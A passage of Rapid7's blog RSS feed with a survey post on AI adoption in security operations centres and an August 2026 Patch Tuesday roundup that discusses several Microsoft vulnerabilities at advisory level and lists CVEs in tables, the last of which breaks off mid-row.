href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a> .</p><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'></span></p><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-lot-of-summer-shells-and-fit-http-profiles</link>
      <guid isPermaLink="false">bltc90240c4d39c7b86</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Rapid7 Labs]]></dc:creator>
      <pubDate>Fri, 14 Aug 2026 21:27:45 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0d50271a40a5f14f/6849ab419621d9f3824d5017/metasploit-sky.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[AI is Working in the SOC. So Why are Security Executives More Worried Than Ever?]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>Something shifted in security operations over the last two years: AI stopped being a pilot program and became the plan.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>And if you survey 500 security professionals on whether that's going well – as Omdia did, commissioned by Rapid7 – you get a remarkable level of consensus: 97% report positive outcomes, 98% say AI reduces alert fatigue, and 95% say it's helping address staffing shortages.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Those numbers are high enough that the story could stop there; AI is working, everyone agrees. Move on. But there's a more interesting finding sitting underneath that consensus, and it tells you something important about where security operations is actually headed.</span></p><h2><span style='font-size: undefined;'>The confidence gap nobody is talking about</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>While frontline SOC teams report strong confidence in AI, executive security leaders like CISOs, CSOs, and VPs are taking a considerably harder look.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The research found that executive leaders are 1.6 times more likely than operational security managers to be highly concerned about how AI vendors handle their organization's security data. This isn't a contradiction of the 97% positive sentiment, but rather a maturity signal.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>When AI was experimental, the question was: does it work? Operational teams answered that. Now that AI is embedded in production SOCs, a different question is arriving at the executive level: how do we govern it? Who is accountable when something is wrong? What happens when the model misses a critical threat, and whose job was it to catch that?</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>These are board-level questions, and the research suggests that the organizations who don't have good answers are about to feel that gap acutely.</span></p><h2><span style='font-size: undefined;'>The human-AI balance is the real differentiator</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>92% of respondents said AI enhances rather than replaces human analysts. But 41% are actively worried about over-reliance, or that teams could start deferring to AI in moments where an experienced analyst would have caught something the model missed.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The best security teams aren't choosing between AI and human expertise. They're building operating models where AI handles the volume – triaging, pattern matching, initial investigations – while analysts lead the decisions that require context, creativity, and accountability.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The question for any SOC leader isn't 'should we use AI?' It's 'where does AI create capacity without creating new blind spots?'</span></p><h2><span style='font-size: undefined;'>MDR is being redefined</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>86% of respondents believe AI-enabled MDR has a clear advantage over traditional approaches. And when asked what they actually expect from an AI-enabled MDR provider, the top answer wasn't faster detection or higher automation rates. It was transparency.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>55% said their top expectation is visibility into how AI decisions are being made. 53% want AI explicitly integrated with human analyst expertise. 52% want regular updates on model performance and accuracy. 'We use AI' is not a differentiator anymore. What buyers now want to know is: can you show me exactly how?</span></p><h2><span style='font-size: undefined;'>What this means for your security strategy</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>The Omdia research gives security leaders something most AI content doesn't: an independent benchmark for where the market actually is.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Use it to pressure-test your AI governance posture, to reframe conversations with your board, and to evaluate whether your MDR provider can answer the transparency questions that 55% of buyers are now asking.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The full report covers all of this in detail, including where organizations remain most cautious, what makes AI adoption succeed or stall, and what the next phase of AI-enabled security operations looks like.</span></p><p style="direction: ltr;"><a href="https://r-7.co/3SaeIZt" target="_self"><span style='font-size: undefined;'><strong>Download the full Omdia report</strong></span></a><span style='font-size: undefined;'><strong>.</strong></span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/ai-report-500-security-leaders-reveal-security-operations-transformation</link>
      <guid isPermaLink="false">blt197f6db54cd7243b</guid>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Security Operations (SOC)]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Wed, 12 Aug 2026 13:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0b0762ca94c50b0b/6846a711eac0e395093e52e3/AI.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Patch Tuesday - August 2026]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>Microsoft is publishing 421 vulnerabilities on </span><a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Aug"><span style='font-size: undefined;'>August 2026 Patch Tuesday</span></a><span style='font-size: undefined;'>, including 236 vulnerabilities in Windows. This is lower volume than last month’s record-breaking behemoth, but still one of the largest Patch Tuesday totals ever. There is no reason to suppose that Patch Tuesday will ever return to the lower volumes we saw prior to 2026. Microsoft is aware of exploitation in the wild for one of the vulnerabilities published today, as well as public disclosure for two others, although the Notable CVEs section of the Security Update Guide omits one of these. As usual, browser vulns are not included in the Patch Tuesday count above, but unusually, Microsoft does not appear to have published any desktop browser security patches so far this month.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>SharePoint: critical RCE chain by Rapid7</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Today sees the publication of </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-63520"><span style='font-size: undefined;'>CVE-2026-63520</span></a><span style='font-size: undefined;'>, a high-severity remote code execution in Microsoft SharePoint. </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-63520-microsoft-sharepoint-remote-code-execution-fixed/"><span style='font-size: undefined;'>Discovered by Rapid7 Senior Principal Security Researcher Stephen Fewer</span></a><span style='font-size: undefined;'>, and published today in coordination with Microsoft; this vulnerability is the second in a pair of exploits which, when chained together, comprise a critical unauthenticated remote code execution vulnerability in a vulnerable SharePoint server. Patches are available for SharePoint Server Subscription Edition, 2019, and 2016. Alongside today’s coordinated </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-63520-microsoft-sharepoint-remote-code-execution-fixed/"><span style='font-size: undefined;'>disclosure of CVE-2026-63520</span></a><span style='font-size: undefined;'>, Rapid7 has now published a </span><a href="https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040/"><span style='font-size: undefined;'>detailed technical analysis and proof-of-concept</span></a><span style='font-size: undefined;'> for </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-55040"><span style='font-size: undefined;'>CVE-2026-55040</span></a><span style='font-size: undefined;'>, the first vulnerability in the chain.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>AFD for Winsock: zero-day EoP</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 has previously </span><a href="https://www.rapid7.com/blog/post/ve-patch-tuesday-windows-backwards-compatibility-challenge/#february-socket-to-me"><span style='font-size: undefined;'>discussed</span></a><span style='font-size: undefined;'> the Windows Ancillary Function Driver for WinSock, and today it returns to center stage with another exploited-in-the-wild elevation-of-privilege vulnerability. Successful exploitation requires winning a race condition, which increases the difficulty of producing a stable exploit. This also helps keep the CVSS v3 base score down to 7.0, along with a Microsoft proprietary severity ranking of merely important, rather than critical. However, with no user interaction required, and a prize of SYSTEM-level access, </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-68820"><span style='font-size: undefined;'>CVE-2026-68820</span></a><span style='font-size: undefined;'> is just what the doctor ordered, if the doctor is based in Pyongyang and wants to steal your cryptocurrency. Microsoft credits CVE-2026-68820 to researchers at Check Point (misspelled “Checkpoint” on the advisory). CVE-2026-68820 isn’t yet listed on CISA KEV, but it will be soon.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>What’s the opposite of coordinated disclosure?</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>This month’s entry in the ongoing saga of Microsoft vs. a pseudonymous security researcher with a clear dislike of Microsoft comes in the form of </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-62832"><span style='font-size: undefined;'>CVE-2026-62832</span></a><span style='font-size: undefined;'>, an elevation of privilege vulnerability in the Windows User Profile Service. Exploitation leads to administrator rights on the local asset, and is achieved via a specially crafted application, which is Microsoft corporate argot for exploit code. Between the public disclosure and the FAQ, which describes an authenticated attacker who has credentials for another account and loads another user’s registry hive, the advisory is a solid match for Nightmare Eclipse’s description of LegacyHive, which Rapid7 </span><a href="https://www.rapid7.com/blog/post/em-patch-tuesday-july-2026/#what-s-the-opposite-of-coordinated-disclosure"><span style='font-size: undefined;'>discussed last month</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Patch Tuesday watchers will have been wondering whether Nightmare Eclipse would continue the pattern of the past few months by dropping yet another zero-day vuln late on Patch Tuesday to maximize friction and inconvenience for Microsoft. Wonder no more, because the new entry on this growing list of headaches is ShieldBreak. Nightmare Eclipse describes ShieldBreak as a full patch bypass for RoguePlanet, a previous entry in the series which Microsoft patched as </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-50656"><span style='font-size: undefined;'>CVE-2026-50656</span></a><span style='font-size: undefined;'> during July, a month after its public disclosure. Both vulnerabilities are therefore elevation-of-privilege to SYSTEM vulnerabilities in Defender.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Container isolation filesystem driver: isolation failure, tampering</span></h3><p style="direction: ltr;"><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-72971"><span style='font-size: undefined;'>CVE-2026-72971</span></a><span style='font-size: undefined;'> describes a tampering vulnerability in the Windows Container Isolation FS Filter Driver (unionfs.sys), where abuse of a flaw in the vulnerable driver presumably allows an unauthorized attacker to overwrite certain files. Since this might include an action taken within a container leading to an unauthorized impact outside the container, it might be surprising that the advisory claims no scope change. Presumably Microsoft is leaning on the fact that the vulnerability is within a driver which operates entirely within a single security authority, i.e. kernel space, so there is only one impacted component and no scope change according to the CVSS v3 spec. Still, the low CVSS v3 base score of 5.5 probably isn’t telling the whole story in this case.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Vulnerabilities classed as tampering are somewhat rare in the Microsoft corpus, making up just a few dozen of the thousands of unique vulnerabilities which </span><a href="https://www.microsoft.com/en-us/msrc"><span style='font-size: undefined;'>MSRC</span></a><span style='font-size: undefined;'> has ever patched or otherwise addressed. </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-72971"><span style='font-size: undefined;'>CVE-2026-72971</span></a><span style='font-size: undefined;'> isn’t mentioned in the Notable CVEs section of the new slimline Security Update Guide. Should it be? Perhaps, because Microsoft is aware of public disclosure in this case, but then again the categorization as tampering means that Microsoft is not currently aware of a path to a more severe impact such as elevation of privilege or code execution. The advisory acknowledges a pair of pseudonymous reporters, who also receive credit on at least 40 other advisories over the past few months, across a wide variety of Windows components and Microsoft Office, including 11 critical vulnerabilities.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Edge: update slowdown?</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Typically, Microsoft patches a fair few browser vulnerabilities between the start of each month and that month’s Patch Tuesday, but not this month. Conspicuous by its absence at the time of Patch Tuesday publication today was Microsoft Edge, which receives regular batches of patches as a downstream consumer of Google Chromium. At the moment of Patch Tuesday publication, the desktop incarnations of Edge </span><a href="https://learn.microsoft.com/en-us/deployedge/microsoft-edge-relnotes-security#july-31-2026"><span style='font-size: undefined;'>last received security patches on July 31, 2026</span></a><span style='font-size: undefined;'>. Meanwhile, the </span><a href="https://chromereleases.googleblog.com/2026/08/stable-channel-update-for-desktop_01193673229.html"><span style='font-size: undefined;'>Chrome Stable Channel received patches for 41 vulnerabilities on August 6, 2026</span></a><span style='font-size: undefined;'>. Anyone responsible for assets with Microsoft Edge installed will be relieved to know that patches for Edge eventually emerged a few hours later on Patch Tuesday itself, but five days is still a longer unpatched gap between Chrome and Edge than has been typical in the past.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Microsoft lifecycle update</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>August is typically a quieter month for Microsoft product lifecycle transitions, and this year continues that pattern. The next lifecycle changes with broad impact occur on October 14, 2026, when </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/windows-11-home-and-pro"><span style='font-size: undefined;'>Windows 11 24H2 Home & Pro</span></a><span style='font-size: undefined;'> reach end of servicing, and </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/windows-server-2022"><span style='font-size: undefined;'>Windows Server 2022</span></a><span style='font-size: undefined;'> moves to extended support, with free critical security updates continuing, but no further feature development. At the same time, the final curtain falls for </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/windows-server-2012"><span style='font-size: undefined;'>Windows Server 2012</span></a><span style='font-size: undefined;'> and </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/windows-server-2012-r2"><span style='font-size: undefined;'>2012 R2</span></a><span style='font-size: undefined;'> with the expiry of the third and final year of cash-for-updates Extended Security Update (ESU) program for these aging workhorses. </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/office-2021"><span style='font-size: undefined;'>Office 2021</span></a><span style='font-size: undefined;'> also moves beyond support, including the </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/office-ltsc-2021"><span style='font-size: undefined;'>Long-Term Servicing Channel</span></a><span style='font-size: undefined;'>, with no ESU available in that case. Also in October, Exchange Server 2016 and 2019 will join the “no ESU” club, after two previous six-month reprieves. Presumably, Microsoft really means it this time.</span></p><p></p><h2>Summary charts</h2><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt90e068e745db0669/6a7b9183f1246479046fe953/2026-08-vuln_count_component.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-08-vuln_count_component.png" asset-alt="2026-08-vuln_count_component.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt90e068e745db0669/6a7b9183f1246479046fe953/2026-08-vuln_count_component.png" data-sys-asset-uid="blt90e068e745db0669" data-sys-asset-filename="2026-08-vuln_count_component.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-08-vuln_count_component.png" sys-style-type="display"/></figure><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt71d8e8aba5fb2a99/6a7b9182dcb43786aa2d029c/2026-08-vuln_count_impact-component-heatmap.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-08-vuln_count_impact-component-heatmap.png" asset-alt="2026-08-vuln_count_impact-component-heatmap.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt71d8e8aba5fb2a99/6a7b9182dcb43786aa2d029c/2026-08-vuln_count_impact-component-heatmap.png" data-sys-asset-uid="blt71d8e8aba5fb2a99" data-sys-asset-filename="2026-08-vuln_count_impact-component-heatmap.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-08-vuln_count_impact-component-heatmap.png" sys-style-type="display"/></figure><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt273f83838d039bd1/6a7b9182dcb437f21f2d0298/2026-08-vuln_count_impact.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-08-vuln_count_impact.png" asset-alt="2026-08-vuln_count_impact.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt273f83838d039bd1/6a7b9182dcb437f21f2d0298/2026-08-vuln_count_impact.png" data-sys-asset-uid="blt273f83838d039bd1" data-sys-asset-filename="2026-08-vuln_count_impact.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-08-vuln_count_impact.png" sys-style-type="display"/></figure><p></p><h2>Summary tables</h2><p></p><h2>Vulnerabilities by Product Family</h2><h3>Apps vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68821">CVE-2026-68821</a></td><td><p>Windows Package Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr></tbody></table><h3>Azure vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70340">CVE-2026-70340</a></td><td><p>Azure CycleCloud Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65806">CVE-2026-65806</a></td><td><p>Azure CycleCloud Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47299">CVE-2026-47299</a></td><td><p>Azure Monitor Agent Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65673">CVE-2026-65673</a></td><td><p>Microsoft Entra Connect Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-6726">CVE-2026-6726</a></td><td><p>MITRE: CVE-2026-6726 TPM 2.0 Improper Object Slot Reuse</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-6727">CVE-2026-6727</a></td><td><p>MITRE: CVE-2026-6727 TPM 2.0 RSA OAEP Timing Side-Channel Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr></tbody></table><h3>Browser vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70339">CVE-2026-70339</a></td><td><p>Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19137">CVE-2026-19137</a></td><td><p>CVE-2026-19137 Use after free in WebGL</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19138">CVE-2026-19138</a></td><td><p>CVE-2026-19138 Heap buffer overflow in CrashReporting</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19139">CVE-2026-19139</a></td><td><p>CVE-2026-19139 Race in CredentialProvider</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19140">CVE-2026-19140</a></td><td><p>CVE-2026-19140 Use after free in GPU</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19142">CVE-2026-19142</a></td><td><p>CVE-2026-19142 Use after free in Views</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19144">CVE-2026-19144</a></td><td><p>CVE-2026-19144 Use after free in HTML</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19145">CVE-2026-19145</a></td><td><p>CVE-2026-19145 Use after free in Translate</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19146">CVE-2026-19146</a></td><td><p>CVE-2026-19146 Uninitialized Use in GPU</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19147">CVE-2026-19147</a></td><td><p>CVE-2026-19147 Use after free in Aura</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19148">CVE-2026-19148</a></td><td><p>CVE-2026-19148 Out of bounds write in GPU</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19149">CVE-2026-19149</a></td><td><p>CVE-2026-19149 Use after free in Aura</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19150">CVE-2026-19150</a></td><td><p>CVE-2026-19150 Inappropriate implementation in V8</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19151">CVE-2026-19151</a></td><td><p>CVE-2026-19151 Use after free in V8</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19152">CVE-2026-19152</a></td><td><p>CVE-2026-19152 Inappropriate implementation in Navigation</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19153">CVE-2026-19153</a></td><td><p>CVE-2026-19153 Insufficient validation of untrusted input in Workers</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19155">CVE-2026-19155</a></td><td><p>CVE-2026-19155 Use after free in Payments</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19156">CVE-2026-19156</a></td><td><p>CVE-2026-19156 Heap buffer overflow in Base</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19157">CVE-2026-19157</a></td><td><p>CVE-2026-19157 Out of bounds write in ANGLE</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19158">CVE-2026-19158</a></td><td><p>CVE-2026-19158 Use after free in Views</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19159">CVE-2026-19159</a></td><td><p>CVE-2026-19159 Use after free in Views</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19160">CVE-2026-19160</a></td><td><p>CVE-2026-19160 Uninitialized Use in Skia</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19161">CVE-2026-19161</a></td><td><p>CVE-2026-19161 Uninitialized Use in Skia</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19162">CVE-2026-19162</a></td><td><p>CVE-2026-19162 Out of bounds write in V8</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19163">CVE-2026-19163</a></td><td><p>CVE-2026-19163 Use after free in Media</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19164">CVE-2026-19164</a></td><td><p>CVE-2026-19164 Insufficient validation of untrusted input in Codecs</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19165">CVE-2026-19165</a></td><td><p>CVE-2026-19165 Use after free in Extensions</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19166">CVE-2026-19166</a></td><td><p>CVE-2026-19166 Use after free in Web Authentication</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19167">CVE-2026-19167</a></td><td><p>CVE-2026-19167 Integer overflow in GPU</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19168">CVE-2026-19168</a></td><td><p>CVE-2026-19168 Inappropriate implementation in V8</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19169">CVE-2026-19169</a></td><td><p>CVE-2026-19169 Insufficient validation of untrusted input in Contextual Tasks</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19170">CVE-2026-19170</a></td><td><p>CVE-2026-19170 Use after free in WebGL</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19171">CVE-2026-19171</a></td><td><p>CVE-2026-19171 Use after free in Media</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19172">CVE-2026-19172</a></td><td><p>CVE-2026-19172 Use after free in Views</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19173">CVE-2026-19173</a></td><td><p>CVE-2026-19173 Out of bounds write in Skia</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19174">CVE-2026-19174</a></td><td><p>CVE-2026-19174 Integer overflow in V8</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19175">CVE-2026-19175</a></td><td><p>CVE-2026-19175 Use after free in Payments</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19176">CVE-2026-19176</a></td><td><p>CVE-2026-19176 Use after free in Skia</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-19177">CVE-2026-19177</a></td><td><p>CVE-2026-19177 Insufficient validation of untrusted input in UI</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr></tbody></table><h3>Developer Tools vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70354">CVE-2026-70354</a></td><td><p>.NET Core Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62901">CVE-2026-62901</a></td><td><p>.NET Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62909">CVE-2026-62909</a></td><td><p>.NET Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58641">CVE-2026-58641</a></td><td><p>.NET Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a 